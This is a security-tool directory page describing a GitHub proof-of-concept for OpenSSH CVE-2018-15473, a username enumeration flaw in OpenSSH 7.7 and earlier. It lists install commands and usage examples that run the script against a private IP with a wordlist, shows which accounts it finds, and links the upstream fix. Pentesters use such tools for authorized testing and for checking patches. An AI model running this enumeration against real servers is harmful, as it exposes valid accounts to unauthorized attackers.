Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2018-15473 — Proof-of-concept SSH username enumeration exploit for OpenSSH CVE-2018-15473. Supports threading, wordlists, IPv6, and detection of valid accounts on vulnerable servers. | Kitploit
Tools/GitHubGitHub/1stpeak/cve-2018-15473
ReconnaissanceVulnerability AnalysisExploitationInformation GatheringNetwork SecurityPenetration Testing
GitHub1stpeak/cve-2018-15473

CVE-2018-15473

Proof-of-concept SSH username enumeration exploit for OpenSSH CVE-2018-15473. Supports threading, wordlists, IPv6, and detection of valid accounts on vulnerable servers.

View Repository
15 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2018-15473

Cause

The OpenSSH server does not delay processing an invalid user until the packet containing the request is fully parsed. This vulnerability is related to auth2-gss.c, auth2-hostbased.c, and auth2-pubkey.c.

Exploitation

Although this vulnerability cannot be used to generate a valid list of usernames, it can still be used to enumerate and guess usernames.

Affected versions

OpenSSH <= 7.7

Unaffected versions

openssh-7.8p1-1.fc28 openssh-7.6p1-6.fc27

POC Installation

You may need to install the distribution's equivalent of the openssl-dev package.

root@kitploit:~
# Note: If you are installing on Kali, you can skip the pip installation and just follow steps 1-3 below because paramiko already exists.
git clone https://github.com/1stPeak/CVE-2018-15473.git
cd CVE-2018-15473
chmod u+x ssh-username-enum.py
pip install -r requirements.txt 
# Or use the following command to download and install
pipenv install -r requirements.txt  # if you're cool like that   
chmod u+x ssh-username-enum.py

Usage Examples

Example 1: Single user enumeration

root@kitploit:~
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -u root 192.168.1.2
[+] root found!

Example 2: Multiple user enumeration with 10 threads (default threads is 4)

root@kitploit:~
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -t 10 -w /usr/share/wordlists/metasploit/unix_users.txt 192.168.1.2
[+] man found!
[+] guest found!
[+] nobody found!
[!] SSH negotiation failed for user nobody4.
[+] lpadmin found!
etc

Example 3: IPv6 address with specified SSH port

root@kitploit:~
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -t 10 -w /usr/share/wordlists/metasploit/unix_users.txt 192.168.1.2 '::1'
[+] ROOT found!
[+] syslog found!
[+] sslh found!
[!] SSH negotiation failed for user sssd.
[+] rfindd found!
[+] ultra found!
etc

Solution

Users are advised to upgrade to an unaffected version. The OpenBSD project has released a source fix at the following link: https://github.com/openbsd/src/commit/779974d35b4859c07bc3cb8a12c74b43b0a7d1e0

References

https://github.com/epi052/cve-2018-15473
http://blog.nsfocus.net/openssh-cve-2018-15919/

Download Tool